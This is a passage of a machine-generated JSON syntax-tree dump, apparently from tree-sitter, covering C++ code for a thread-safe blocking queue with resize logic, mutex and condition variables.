break;\n }", "parent": 799, "children": [801, 826], "start_point": {"row": 159, "column": 8}, "end_point": {"row": 166, "column": 9}}, {"id": 801, "type": "parenthesized_expression", "text": "(!extra_arr_.empty())", "parent": 800, "children": [802], "start_point": {"row": 159, "column": 11}, "end_point": {"row": 159, "column": 32}}, {"id": 802, "type": "unary_expression", "text": "!extra_arr_.empty()", "parent": 801, "children": [803, 804], "start_point": {"row": 159, "column": 12}, "end_point": {"row": 159, "column": 31}}, {"id": 803, "type": "!", "text": "!", "parent": 802, "children": [], "start_point": {"row": 159, "column": 12}, "end_point": {"row": 159, "column": 13}}, {"id": 804, "type": "call_expression", "text": "extra_arr_.empty()", "parent": 802, "children": [805, 808], "start_point": {"row": 159, "column": 13}, "end_point": {"row": 159, "column": 31}}, {"id": 805, "type": "field_expression", "text": "extra_arr_.empty", "parent": 804, "children": [806, 807], "start_point": {"row": 159, "column": 13}, "end_point": {"row": 159, "column": 29}}, {"id": 806, "type": "identifier", "text": "extra_arr_", "parent": 805, "children": [], "start_point": {"row": 159, "column": 13}, "end_point": {"row": 159, "column": 23}}, {"id": 807, "type": "field_identifier", "text": "empty", "parent": 805, "children": [], "start_point": {"row": 159, "column": 24}, "end_point": {"row": 159, "column": 29}}, {"id": 808, "type": "argument_list", "text": "()", "parent": 804, "children": [], "start_point": {"row": 159, "column": 29}, "end_point": {"row": 159, "column": 31}}, {"id": 809, "type": "call_expression", "text": "queue.push_back(extra_arr_[0])", "parent": 800, "children": [810, 813], "start_point": {"row": 161, "column": 10}, "end_point": {"row": 161, "column": 40}}, {"id": 810, "type": "field_expression", "text": "queue.push_back", "parent": 809, "children": [811, 812], "start_point": {"row": 161, "column": 10}, "end_point": {"row": 161, "column": 25}}, {"id": 811, "type": "identifier", "text": "queue", "parent": 810, "children": [], "start_point": {"row": 161, "column": 10}, "end_point": {"row": 161, "column": 15}}, {"id": 812, "type": "field_identifier", "text": "push_back", "parent": 810, "children": [], "start_point": {"row": 161, "column": 16}, "end_point": {"row": 161, "column": 25}}, {"id": 813, "type": "argument_list", "text": "(extra_arr_[0])", "parent": 809, "children": [814], "start_point": {"row": 161, "column": 25}, "end_point": {"row": 161, "column": 40}}, {"id": 814, "type": "subscript_expression", "text": "extra_arr_[0]", "parent": 813, "children": [815, 816], "start_point": {"row": 161, "column": 26}, "end_point": {"row": 161, "column": 39}}, {"id": 815, "type": "identifier", "text": "extra_arr_", "parent": 814, "children": [], "start_point": {"row": 161, "column": 26}, "end_point": {"row": 161, "column": 36}}, {"id": 816, "type": "number_literal", "text": "0", "parent": 814, "children": [], "start_point": {"row": 161, "column": 37}, "end_point": {"row": 161, "column": 38}}, {"id": 817, "type": "call_expression", "text": "extra_arr_.erase(extra_arr_.begin())", "parent": 800, "children": [818, 821], "start_point": {"row": 162, "column": 10}, "end_point": {"row": 162, "column": 46}}, {"id": 818, "type": "field_expression", "text": "extra_arr_.erase", "parent": 817, "children": [819, 820], "start_point": {"row": 162, "column": 10}, "end_point": {"row": 162, "column": 26}}, {"id": 819, "type": "identifier", "text": "extra_arr_", "parent": 818, "children": [], "start_point": {"row": 162, "column": 10}, "end_point": {"row": 162, "column": 20}}, {"id": 820, "type": "field_identifier", "text": "erase", "parent": 818, "children": [], "start_point": {"row": 162, "column": 21}, "end_point": {"row": 162, "column": 26}}, {"id": 821, "type": "argument_list", "text": "(extra_arr_.begin())", "parent": 817, "children": [822], "start_point": {"row": 162, "column": 26}, "end_point": {"row": 162, "column": 46}}, {"id": 822, "type": "call_expression", "text": "extra_arr_.begin()", "parent": 821, "children": [823, 825], "start_point": {"row": 162, "column": 27}, "end_point": {"row": 162, "column": 45}}, {"id": 823, "type": "field_expression", "text": "extra_arr_.begin", "parent": 822, "children": [824], "start_point": {"row": 162, "column": 27}, "end_point": {"row": 162, "column": 43}}, {"id": 824, "type": "identifier", "text": "extra_arr_", "parent": 823, "children": [], "start_point": {"row": 162, "column": 27}, "end_point": {"row": 162, "column": 37}}, {"id": 825, "type": "argument_list", "text": "()", "parent": 822, "children": [], "start_point": {"row": 162, "column": 43}, "end_point": {"row": 162, "column": 45}}, {"id": 826, "type": "else_clause", "text": "else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }", "parent": 800, "children": [], "start_point": {"row": 163, "column": 10}, "end_point": {"row": 166, "column": 9}}, {"id": 827, "type": "break_statement", "text": "break;", "parent": 826, "children": [828], "start_point": {"row": 165, "column": 10}, "end_point": {"row": 165, "column": 16}}, {"id": 828, "type": "break", "text": "break", "parent": 827, "children": [], "start_point": {"row": 165, "column": 10}, "end_point": {"row": 165, "column": 15}}, {"id": 829, "type": "while_statement", "text": "while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }", "parent": 700, "children": [830], "start_point": {"row": 170, "column": 4}, "end_point": {"row": 174, "column": 5}}, {"id": 830, "type": "parenthesized_expression", "text": "(head_ < tail_)", "parent": 829, "children": [831], "start_point": {"row": 170, "column": 10}, "end_point": {"row": 170, "column": 25}}, {"id": 831, "type": "binary_expression", "text": "head_ < tail_", "parent": 830, "children": [832, 833, 834], "start_point": {"row": 170, "column": 11}, "end_point": {"row": 170, "column": 24}}, {"id": 832, "type": "identifier", "text": "head_", "parent": 831, "children": [], "start_point": {"row": 170, "column": 11}, "end_point": {"row": 170, "column": 16}}, {"id": 833, "type": "<", "text": "<", "parent": 831, "children": [], "start_point": {"row": 170, "column": 17}, "end_point": {"row": 170, "column": 18}}, {"id": 834, "type": "identifier", "text": "tail_", "parent": 831, "children": [], "start_point": {"row": 170, "column": 19}, "end_point": {"row": 170, "column": 24}}, {"id": 835, "type": "declaration", "text": "T temp;", "parent": 829, "children": [836, 837], "start_point": {"row": 171, "column": 6}, "end_point": {"row": 171, "column": 13}}, {"id": 836, "type": "type_identifier", "text": "T", "parent": 835, "children": [], "start_point": {"row": 171, "column": 6}, "end_point": {"row": 171, "column": 7}}, {"id": 837, "type": "identifier", "text": "temp", "parent": 835, "children": [], "start_point": {"row": 171, "column": 8}, "end_point": {"row": 171, "column": 12}}, {"id": 838, "type": "call_expression", "text": "RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false))", "parent": 829, "children": [839, 840], "start_point": {"row": 172, "column": 6}, "end_point": {"row": 172, "column": 68}}, {"id": 839, "type": "identifier", "text": "RETURN_IF_NOT_OK", "parent": 838, "children": [], "start_point": {"row": 172, "column": 6}, "end_point": {"row": 172, "column": 22}}, {"id": 840, "type": "argument_list", "text": "(this->PopFrontWhileHoldingLock(&temp, false))", "parent": 838, "children": [841], "start_point": {"row": 172, "column": 22}, "end_point": {"row": 172, "column": 68}}, {"id": 841, "type": "call_expression", "text": "this->PopFrontWhileHoldingLock(&temp, false)", "parent": 840, "children": [842, 845], "start_point": {"row": 172, "column": 23}, "end_point": {"row": 172, "column": 67}}, {"id": 842, "type": "field_expression", "text": "this->PopFrontWhileHoldingLock", "parent": 841, "children": [843, 844], "start_point": {"row": 172, "column": 23}, "end_point": {"row": 172, "column": 53}}, {"id": 843, "type": "identifier", "text": "this", "parent": 842, "children": [], "start_point": {"row": 172, "column": 23}, "end_point": {"row": 172, "column": 27}}, {"id": 844, "type": "field_identifier", "text": "PopFrontWhileHoldingLock", "parent": 842, "children": [], "start_point": {"row": 172, "column": 29}, "end_point": {"row": 172, "column": 53}}, {"id": 845, "type": "argument_list", "text": "(&temp, false)", "parent": 841, "children": [846, 848], "start_point": {"row": 172, "column": 53}, "end_point": {"row": 172, "column": 67}}, {"id": 846, "type": "pointer_expression", "text": "&temp", "parent": 845, "children": [847], "start_point": {"row": 172, "column": 54}, "end_point": {"row": 172, "column": 59}}, {"id": 847, "type": "identifier", "text": "temp", "parent": 846, "children": [], "start_point": {"row": 172, "column": 55}, "end_point": {"row": 172, "column": 59}}, {"id": 848, "type": "false", "text": "false", "parent": 845, "children": [], "start_point": {"row": 172, "column": 61}, "end_point": {"row": 172, "column": 66}}, {"id": 849, "type": "call_expression", "text": "extra_arr_.push_back(temp)", "parent": 829, "children": [850, 853], "start_point": {"row": 173, "column": 6}, "end_point": {"row": 173, "column": 32}}, {"id": 850, "type": "field_expression", "text": "extra_arr_.push_back", "parent": 849, "children": [851, 852], "start_point": {"row": 173, "column": 6}, "end_point": {"row": 173, "column": 26}}, {"id": 851, "type": "identifier", "text": "extra_arr_", "parent": 850, "children": [], "start_point": {"row": 173, "column": 6}, "end_point": {"row": 173, "column": 16}}, {"id": 852, "type": "field_identifier", "text": "push_back", "parent": 850, "children": [], "start_point": {"row": 173, "column": 17}, "end_point": {"row": 173, "column": 26}}, {"id": 853, "type": "argument_list", "text": "(temp)", "parent": 849, "children": [854], "start_point": {"row": 173, "column": 26}, "end_point": {"row": 173, "column": 32}}, {"id": 854, "type": "identifier", "text": "temp", "parent": 853, "children": [], "start_point": {"row": 173, "column": 27}, "end_point": {"row": 173, "column": 31}}, {"id": 855, "type": "call_expression", "text": "this->ResetQue()", "parent": 700, "children": [856, 859], "start_point": {"row": 175, "column": 4}, "end_point": {"row": 175, "column": 20}}, {"id": 856, "type": "field_expression", "text": "this->ResetQue", "parent": 855, "children": [857, 858], "start_point": {"row": 175, "column": 4}, "end_point": {"row": 175, "column": 18}}, {"id": 857, "type": "identifier", "text": "this", "parent": 856, "children": [], "start_point": {"row": 175, "column": 4}, "end_point": {"row": 175, "column": 8}}, {"id": 858, "type": "field_identifier", "text": "ResetQue", "parent": 856, "children": [], "start_point": {"row": 175, "column": 10}, "end_point": {"row": 175, "column": 18}}, {"id": 859, "type": "argument_list", "text": "()", "parent": 855, "children": [], "start_point": {"row": 175, "column": 18}, "end_point": {"row": 175, "column": 20}}, {"id": 860, "type": "call_expression", "text": "RETURN_IF_NOT_OK(arr_.allocate(new_capacity))", "parent": 700, "children": [861, 862], "start_point": {"row": 176, "column": 4}, "end_point": {"row": 176, "column": 49}}, {"id": 861, "type": "identifier", "text": "RETURN_IF_NOT_OK", "parent": 860, "children": [], "start_point": {"row": 176, "column": 4}, "end_point": {"row": 176, "column": 20}}, {"id": 862, "type": "argument_list", "text": "(arr_.allocate(new_capacity))", "parent": 860, "children": [863], "start_point": {"row": 176, "column": 20}, "end_point": {"row": 176, "column": 49}}, {"id": 863, "type": "call_expression", "text": "arr_.allocate(new_capacity)", "parent": 862, "children": [864, 867], "start_point": {"row": 176, "column": 21}, "end_point": {"row": 176, "column": 48}}, {"id": 864, "type": "field_expression", "text": "arr_.allocate", "parent": 863, "children": [865, 866], "start_point": {"row": 176, "column": 21}, "end_point": {"row": 176, "column": 34}}, {"id": 865, "type": "identifier", "text": "arr_", "parent": 864, "children": [], "start_point": {"row": 176, "column": 21}, "end_point": {"row": 176, "column": 25}}, {"id": 866, "type": "field_identifier", "text": "allocate", "parent": 864, "children": [], "start_point": {"row": 176, "column": 26}, "end_point": {"row": 176, "column": 34}}, {"id": 867, "type": "argument_list", "text": "(new_capacity)", "parent": 863, "children": [868], "start_point": {"row": 176, "column": 34}, "end_point": {"row": 176, "column": 48}}, {"id": 868, "type": "identifier", "text": "new_capacity", "parent": 867, "children": [], "start_point": {"row": 176, "column": 35}, "end_point": {"row": 176, "column": 47}}, {"id": 869, "type": "assignment_expression", "text": "sz_ = new_capacity", "parent": 700, "children": [870, 871, 872], "start_point": {"row": 177, "column": 4}, "end_point": {"row": 177, "column": 22}}, {"id": 870, "type": "identifier", "text": "sz_", "parent": 869, "children": [], "start_point": {"row": 177, "column": 4}, "end_point": {"row": 177, "column": 7}}, {"id": 871, "type": "=", "text": "=", "parent": 869, "children": [], "start_point": {"row": 177, "column": 8}, "end_point": {"row": 177, "column": 9}}, {"id": 872, "type": "identifier", "text": "new_capacity", "parent": 869, "children": [], "start_point": {"row": 177, "column": 10}, "end_point": {"row": 177, "column": 22}}, {"id": 873, "type": "for_statement", "text": "for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }", "parent": 700, "children": [874, 880, 888], "start_point": {"row": 178, "column": 4}, "end_point": {"row": 180, "column": 5}}, {"id": 874, "type": "declaration", "text": "int32_t i = 0;", "parent": 873, "children": [875, 876], "start_point": {"row": 178, "column": 9}, "end_point": {"row": 178, "column": 23}}, {"id": 875, "type": "primitive_type", "text": "int32_t", "parent": 874, "children": [], "start_point": {"row": 178, "column": 9}, "end_point": {"row": 178, "column": 16}}, {"id": 876, "type": "init_declarator", "text": "i = 0", "parent": 874, "children": [877, 878, 879], "start_point": {"row": 178, "column": 17}, "end_point": {"row": 178, "column": 22}}, {"id": 877, "type": "identifier", "text": "i", "parent": 876, "children": [], "start_point": {"row": 178, "column": 17}, "end_point": {"row": 178, "column": 18}}, {"id": 878, "type": "=", "text": "=", "parent": 876, "children": [], "start_point": {"row": 178, "column": 19}, "end_point": {"row": 178, "column": 20}}, {"id": 879, "type": "number_literal", "text": "0", "parent": 876, "children": [], "start_point": {"row": 178, "column": 21}, "end_point": {"row": 178, "column": 22}}, {"id": 880, "type": "binary_expression", "text": "i < queue.size()", "parent": 873, "children": [881, 882, 883], "start_point": {"row": 178, "column": 24}, "end_point": {"row": 178, "column": 40}}, {"id": 881, "type": "identifier", "text": "i", "parent": 880, "children": [], "start_point": {"row": 178, "column": 24}, "end_point": {"row": 178, "column": 25}}, {"id": 882, "type": "<", "text": "<", "parent": 880, "children": [], "start_point": {"row": 178, "column": 26}, "end_point": {"row": 178, "column": 27}}, {"id": 883, "type": "call_expression", "text": "queue.size()", "parent": 880, "children": [884, 887], "start_point": {"row": 178, "column": 28}, "end_point": {"row": 178, "column": 40}}, {"id": 884, "type": "field_expression", "text": "queue.size", "parent": 883, "children": [885, 886], "start_point": {"row": 178, "column": 28}, "end_point": {"row": 178, "column": 38}}, {"id": 885, "type": "identifier", "text": "queue", "parent": 884, "children": [], "start_point": {"row": 178, "column": 28}, "end_point": {"row": 178, "column": 33}}, {"id": 886, "type": "field_identifier", "text": "size", "parent": 884, "children": [], "start_point": {"row": 178, "column": 34}, "end_point": {"row": 178, "column": 38}}, {"id": 887, "type": "argument_list", "text": "()", "parent": 883, "children": [], "start_point": {"row": 178, "column": 38}, "end_point": {"row": 178, "column": 40}}, {"id": 888, "type": "update_expression", "text": "++i", "parent": 873, "children": [889, 890], "start_point": {"row": 178, "column": 42}, "end_point": {"row": 178, "column": 45}}, {"id": 889, "type": "++", "text": "++", "parent": 888, "children": [], "start_point": {"row": 178, "column": 42}, "end_point": {"row": 178, "column": 44}}, {"id": 890, "type": "identifier", "text": "i", "parent": 888, "children": [], "start_point": {"row": 178, "column": 44}, "end_point": {"row": 178, "column": 45}}, {"id": 891, "type": "call_expression", "text": "RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]))", "parent": 873, "children": [892, 893], "start_point": {"row": 179, "column": 6}, "end_point": {"row": 179, "column": 59}}, {"id": 892, "type": "identifier", "text": "RETURN_IF_NOT_OK", "parent": 891, "children": [], "start_point": {"row": 179, "column": 6}, "end_point": {"row": 179, "column": 22}}, {"id": 893, "type": "argument_list", "text": "(this->AddWhileHoldingLock(queue[i]))", "parent": 891, "children": [894], "start_point": {"row": 179, "column": 22}, "end_point": {"row": 179, "column": 59}}, {"id": 894, "type": "call_expression", "text": "this->AddWhileHoldingLock(queue[i])", "parent": 893, "children": [895, 898], "start_point": {"row": 179, "column": 23}, "end_point": {"row": 179, "column": 58}}, {"id": 895, "type": "field_expression", "text": "this->AddWhileHoldingLock", "parent": 894, "children": [896, 897], "start_point": {"row": 179, "column": 23}, "end_point": {"row": 179, "column": 48}}, {"id": 896, "type": "identifier", "text": "this", "parent": 895, "children": [], "start_point": {"row": 179, "column": 23}, "end_point": {"row": 179, "column": 27}}, {"id": 897, "type": "field_identifier", "text": "AddWhileHoldingLock", "parent": 895, "children": [], "start_point": {"row": 179, "column": 29}, "end_point": {"row": 179, "column": 48}}, {"id": 898, "type": "argument_list", "text": "(queue[i])", "parent": 894, "children": [899], "start_point": {"row": 179, "column": 48}, "end_point": {"row": 179, "column": 58}}, {"id": 899, "type": "subscript_expression", "text": "queue[i]", "parent": 898, "children": [900, 901], "start_point": {"row": 179, "column": 49}, "end_point": {"row": 179, "column": 57}}, {"id": 900, "type": "identifier", "text": "queue", "parent": 899, "children": [], "start_point": {"row": 179, "column": 49}, "end_point": {"row": 179, "column": 54}}, {"id": 901, "type": "identifier", "text": "i", "parent": 899, "children": [], "start_point": {"row": 179, "column": 55}, "end_point": {"row": 179, "column": 56}}, {"id": 902, "type": "call_expression", "text": "queue.clear()", "parent": 700, "children": [903, 906], "start_point": {"row": 181, "column": 4}, "end_point": {"row": 181, "column": 17}}, {"id": 903, "type": "field_expression", "text": "queue.clear", "parent": 902, "children": [904, 905], "start_point": {"row": 181, "column": 4}, "end_point": {"row": 181, "column": 15}}, {"id": 904, "type": "identifier", "text": "queue", "parent": 903, "children": [], "start_point": {"row": 181, "column": 4}, "end_point": {"row": 181, "column": 9}}, {"id": 905, "type": "field_identifier", "text": "clear", "parent": 903, "children": [], "start_point": {"row": 181, "column": 10}, "end_point": {"row": 181, "column": 15}}, {"id": 906, "type": "argument_list", "text": "()", "parent": 902, "children": [], "start_point": {"row": 181, "column": 15}, "end_point": {"row": 181, "column": 17}}, {"id": 907, "type": "call_expression", "text": "_lock.unlock()", "parent": 700, "children": [908, 911], "start_point": {"row": 182, "column": 4}, "end_point": {"row": 182, "column": 18}}, {"id": 908, "type": "field_expression", "text": "_lock.unlock", "parent": 907, "children": [909, 910], "start_point": {"row": 182, "column": 4}, "end_point": {"row": 182, "column": 16}}, {"id": 909, "type": "identifier", "text": "_lock", "parent": 908, "children": [], "start_point": {"row": 182, "column": 4}, "end_point": {"row": 182, "column": 9}}, {"id": 910, "type": "field_identifier", "text": "unlock", "parent": 908, "children": [], "start_point": {"row": 182, "column": 10}, "end_point": {"row": 182, "column": 16}}, {"id": 911, "type": "argument_list", "text": "()", "parent": 907, "children": [], "start_point": {"row": 182, "column": 16}, "end_point": {"row": 182, "column": 18}}, {"id": 912, "type": "return_statement", "text": "return Status::OK();", "parent": 700, "children": [913, 915], "start_point": {"row": 183, "column": 4}, "end_point": {"row": 183, "column": 24}}, {"id": 913, "type": "ERROR", "text": "Status::", "parent": 912, "children": [914], "start_point": {"row": 183, "column": 11}, "end_point": {"row": 183, "column": 19}}, {"id": 914, "type": "identifier", "text": "Status", "parent": 913, "children": [], "start_point": {"row": 183, "column": 11}, "end_point": {"row": 183, "column": 17}}, {"id": 915, "type": "call_expression", "text": "OK()", "parent": 912, "children": [916, 917], "start_point": {"row": 183, "column": 19}, "end_point": {"row": 183, "column": 23}}, {"id": 916, "type": "identifier", "text": "OK", "parent": 915, "children": [], "start_point": {"row": 183, "column": 19}, "end_point": {"row": 183, "column": 21}}, {"id": 917, "type": "argument_list", "text": "()", "parent": 915, "children": [], "start_point": {"row": 183, "column": 21}, "end_point": {"row": 183, "column": 23}}, {"id": 918, "type": "labeled_statement", "text": "private:\n size_t sz_;", "parent": 51, "children": [919], "start_point": {"row": 186, "column": 1}, "end_point": {"row": 187, "column": 13}}, {"id": 919, "type": "declaration", "text": "size_t sz_;", "parent": 918, "children": [920, 921], "start_point": {"row": 187, "column": 2}, "end_point": {"row": 187, "column": 13}}, {"id": 920, "type": "primitive_type", "text": "size_t", "parent": 919, "children": [], "start_point": {"row": 187, "column": 2}, "end_point": {"row": 187, "column": 8}}, {"id": 921, "type": "identifier", "text": "sz_", "parent": 919, "children": [], "start_point": {"row": 187, "column": 9}, "end_point": {"row": 187, "column": 12}}, {"id": 922, "type": "comma_expression", "text": "MemGuard<T, Allocator<T>> arr_", "parent": 51, "children": [923, 927], "start_point": {"row": 188, "column": 2}, "end_point": {"row": 188, "column": 32}}, {"id": 923, "type": "binary_expression", "text": "MemGuard<T", "parent": 922, "children": [924, 925, 926], "start_point": {"row": 188, "column": 2}, "end_point": {"row": 188, "column": 12}}, {"id": 924, "type": "identifier", "text": "MemGuard", "parent": 923, "children": [], "start_point": {"row": 188, "column": 2}, "end_point": {"row": 188, "column": 10}}, {"id": 925, "type": "<", "text": "<", "parent": 923, "children": [], "start_point": {"row": 188, "column": 10}, "end_point": {"row": 188, "column": 11}}, {"id": 926, "type": "identifier", "text": "T", "parent": 923, "children": [], "start_point": {"row": 188, "column": 11}, "end_point": {"row": 188, "column": 12}}, {"id": 927, "type": "binary_expression", "text": "Allocator<T>> arr_", "parent": 922, "children": [928, 929, 930], "start_point": {"row": 188, "column": 14}, "end_point": {"row": 188, "column": 32}}, {"id": 928, "type": "identifier", "text": "Allocator", "parent": 927, "children": [], "start_point": {"row": 188, "column": 14}, "end_point": {"row": 188, "column": 23}}, {"id": 929, "type": "<", "text": "<", "parent": 927, "children": [], "start_point": {"row": 188, "column": 23}, "end_point": {"row": 188, "column": 24}}, {"id": 930, "type": "binary_expression", "text": "T>> arr_", "parent": 927, "children": [931, 932, 933], "start_point": {"row": 188, "column": 24}, "end_point": {"row": 188, "column": 32}}, {"id": 931, "type": "identifier", "text": "T", "parent": 930, "children": [], "start_point": {"row": 188, "column": 24}, "end_point": {"row": 188, "column": 25}}, {"id": 932, "type": ">>", "text": ">>", "parent": 930, "children": [], "start_point": {"row": 188, "column": 25}, "end_point": {"row": 188, "column": 27}}, {"id": 933, "type": "identifier", "text": "arr_", "parent": 930, "children": [], "start_point": {"row": 188, "column": 28}, "end_point": {"row": 188, "column": 32}}, {"id": 934, "type": "labeled_statement", "text": "std::vector<T> extra_arr_;", "parent": 51, "children": [935], "start_point": {"row": 189, "column": 2}, "end_point": {"row": 189, "column": 28}}, {"id": 935, "type": "statement_identifier", "text": "std", "parent": 934, "children": [], "start_point": {"row": 189, "column": 2}, "end_point": {"row": 189, "column": 5}}, {"id": 936, "type": "binary_expression", "text": "vector<T> extra_arr_", "parent": 934, "children": [937, 941, 942], "start_point": {"row": 189, "column": 7}, "end_point": {"row": 189, "column": 27}}, {"id": 937, "type": "binary_expression", "text": "vector<T", "parent": 936, "children": [938, 939, 940], "start_point": {"row": 189, "column": 7}, "end_point": {"row": 189, "column": 15}}, {"id": 938, "type": "identifier", "text": "vector", "parent": 937, "children": [], "start_point": {"row": 189, "column": 7}, "end_point": {"row": 189, "column": 13}}, {"id": 939, "type": "<", "text": "<", "parent": 937, "children": [], "start_point": {"row": 189, "column": 13}, "end_point": {"row": 189, "column": 14}}, {"id": 940, "type": "identifier", "text": "T", "parent": 937, "children": [], "start_point": {"row": 189, "column": 14}, "end_point": {"row": 189, "column": 15}}, {"id": 941, "type": ">", "text": ">", "parent": 936, "children": [], "start_point": {"row": 189, "column": 15}, "end_point": {"row": 189, "column": 16}}, {"id": 942, "type": "identifier", "text": "extra_arr_", "parent": 936, "children": [], "start_point": {"row": 189, "column": 17}, "end_point": {"row": 189, "column": 27}}, {"id": 943, "type": "declaration", "text": "size_t head_;", "parent": 51, "children": [944, 945], "start_point": {"row": 191, "column": 2}, "end_point": {"row": 191, "column": 15}}, {"id": 944, "type": "primitive_type", "text": "size_t", "parent": 943, "children": [], "start_point": {"row": 191, "column": 2}, "end_point": {"row": 191, "column": 8}}, {"id": 945, "type": "identifier", "text": "head_", "parent": 943, "children": [], "start_point": {"row": 191, "column": 9}, "end_point": {"row": 191, "column": 14}}, {"id": 946, "type": "declaration", "text": "size_t tail_;", "parent": 51, "children": [947, 948], "start_point": {"row": 192, "column": 2}, "end_point": {"row": 192, "column": 15}}, {"id": 947, "type": "primitive_type", "text": "size_t", "parent": 946, "children": [], "start_point": {"row": 192, "column": 2}, "end_point": {"row": 192, "column": 8}}, {"id": 948, "type": "identifier", "text": "tail_", "parent": 946, "children": [], "start_point": {"row": 192, "column": 9}, "end_point": {"row": 192, "column": 14}}, {"id": 949, "type": "labeled_statement", "text": "std::string my_name_;", "parent": 51, "children": [950, 951], "start_point": {"row": 193, "column": 2}, "end_point": {"row": 193, "column": 23}}, {"id": 950, "type": "statement_identifier", "text": "std", "parent": 949, "children": [], "start_point": {"row": 193, "column": 2}, "end_point": {"row": 193, "column": 5}}, {"id": 951, "type": "declaration", "text": "string my_name_;", "parent": 949, "children": [952, 953], "start_point": {"row": 193, "column": 7}, "end_point": {"row": 193, "column": 23}}, {"id": 952, "type": "type_identifier", "text": "string", "parent": 951, "children": [], "start_point": {"row": 193, "column": 7}, "end_point": {"row": 193, "column": 13}}, {"id": 953, "type": "identifier", "text": "my_name_", "parent": 951, "children": [], "start_point": {"row": 193, "column": 14}, "end_point": {"row": 193, "column": 22}}, {"id": 954, "type": "labeled_statement", "text": "std::mutex mux_;", "parent": 51, "children": [955, 956], "start_point": {"row": 194, "column": 2}, "end_point": {"row": 194, "column": 18}}, {"id": 955, "type": "statement_identifier", "text": "std", "parent": 954, "children": [], "start_point": {"row": 194, "column": 2}, "end_point": {"row": 194, "column": 5}}, {"id": 956, "type": "declaration", "text": "mutex mux_;", "parent": 954, "children": [957, 958], "start_point": {"row": 194, "column": 7}, "end_point": {"row": 194, "column": 18}}, {"id": 957, "type": "type_identifier", "text": "mutex", "parent": 956, "children": [], "start_point": {"row": 194, "column": 7}, "end_point": {"row": 194, "column": 12}}, {"id": 958, "type": "identifier", "text": "mux_", "parent": 956, "children": [], "start_point": {"row": 194, "column": 13}, "end_point": {"row": 194, "column": 17}}, {"id": 959, "type": "declaration", "text": "CondVar empty_cv_;", "parent": 51, "children": [960, 961], "start_point": {"row": 195, "column": 2}, "end_point": {"row": 195, "column": 20}}, {"id": 960, "type": "type_identifier", "text": "CondVar", "parent": 959, "children": [], "start_point": {"row": 195, "column": 2}, "end_point": {"row": 195, "column": 9}}, {"id": 961, "type": "identifier", "text": "empty_cv_", "parent": 959, "children": [], "start_point": {"row": 195, "column": 10}, "end_point": {"row": 195, "column": 19}}, {"id": 962, "type": "declaration", "text": "CondVar full_cv_;", "parent": 51, "children": [963, 964], "start_point": {"row": 196, "column": 2}, "end_point": {"row": 196, "column": 19}}, {"id": 963, "type": "type_identifier", "text": "CondVar", "parent": 962, "children": [], "start_point": {"row": 196, "column": 2}, "end_point": {"row": 196, "column": 9}}, {"id": 964, "type": "identifier", "text": "full_cv_", "parent": 962, "children": [], "start_point": {"row": 196, "column": 10}, "end_point": {"row": 196, "column": 18}}, {"id": 965, "type": "function_definition", "text": "Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }", "parent": 51, "children": [966, 967], "start_point": {"row": 199, "column": 2}, "end_point": {"row": 203, "column": 3}}, {"id": 966, "type": "type_identifier", "text": "Status", "parent": 965, "children": [], "start_point": {"row": 199, "column": 2}, "end_point": {"row": 199, "column": 8}}, {"id": 967, "type": "function_declarator", "text": "AddWhileHoldingLock(const_reference ele)", "parent": 965, "children": [968, 969], "start_point": {"row": 199, "column": 9}, "end_point": {"row": 199, "column": 49}}, {"id": 968, "type": "identifier", "text": "AddWhileHoldingLock", "parent": 967, "children": [], "start_point": {"row": 199, "column": 9}, "end_point": {"row": 199, "column": 28}}, {"id": 969, "type": "parameter_list", "text": "(const_reference ele)", "parent": 967, "children": [970], "start_point": {"row": 199, "column": 28}, "end_point": {"row": 199, "column": 49}}, {"id": 970, "type": "parameter_declaration", "text": "const_reference ele", "parent": 969, "children": [971, 972], "start_point": {"row": 199, "column": 29}, "end_point": {"row": 199, "column": 48}}, {"id": 971, "type": "type_identifier", "text": "const_reference", "parent": 970, "children": [], "start_point": {"row": 199, "column": 29}, "end_point": {"row": 199, "column": 44}}, {"id": 972, "type": "identifier", "text": "ele", "parent": 970, "children": [], "start_point": {"row": 199, "column": 45}, "end_point": {"row": 199, "column": 48}}, {"id": 973, "type": "declaration", "text": "auto k = tail_++ % sz_;", "parent": 965, "children": [974, 976, 977], "start_point": {"row": 200, "column": 4}, "end_point": {"row": 200, "column": 27}}, {"id": 974, "type": "storage_class_specifier", "text": "auto", "parent": 973, "children": [975], "start_point": {"row": 200, "column": 4}, "end_point": {"row": 200, "column": 8}}, {"id": 975, "type": "auto", "text": "auto", "parent": 974, "children": [], "start_point": {"row": 200, "column": 4}, "end_point": {"row": 200, "column": 8}}, {"id": 976, "type": "type_identifier", "text": "k", "parent": 973, "children": [], "start_point": {"row": 200, "column": 9}, "end_point": {"row": 200, "column": 10}}, {"id": 977, "type": "init_declarator", "text": " = tail_++ % sz_", "parent": 973, "children": [978, 979, 980], "start_point": {"row": 200, "column": 10}, "end_point": {"row": 200, "column": 26}}, {"id": 978, "type": "identifier", "text": "", "parent": 977, "children": [], "start_point": {"row": 200, "column": 10}, "end_point": {"row": 200, "column": 10}}, {"id": 979, "type": "=", "text": "=", "parent": 977, "children": [], "start_point": {"row": 200, "column": 11}, "end_point": {"row": 200, "column": 12}}, {"id": 980, "type": "binary_expression", "text": "tail_++ % sz_", "parent": 977, "children": [981, 984, 985], "start_point": {"row": 200, "column": 13}, "end_point": {"row": 200, "column": 26}}, {"id": 981, "type": "update_expression", "text": "tail_++", "parent": 980, "children": [982, 983], "start_point": {"row": 200, "column": 13}, "end_point": {"row": 200, "column": 20}}, {"id": 982, "type": "identifier", "text": "tail_", "parent": 981, "children": [], "start_point": {"row": 200, "column": 13}, "end_point": {"row": 200, "column": 18}}, {"id": 983, "type": "++", "text": "++", "parent": 981, "children": [], "start_point": {"row": 200, "column": 18}, "end_point": {"row": 200, "column": 20}}, {"id": 984, "type": "%", "text": "%", "parent": 980, "children": [], "start_point": {"row": 200, "column": 21}, "end_point": {"row": 200, "column": 22}}, {"id": 985, "type": "identifier", "text": "sz_", "parent": 980, "children": [], "start_point": {"row": 200, "column": 23}, "end_point": {"row": 200, "column": 26}}, {"id": 986, "type": 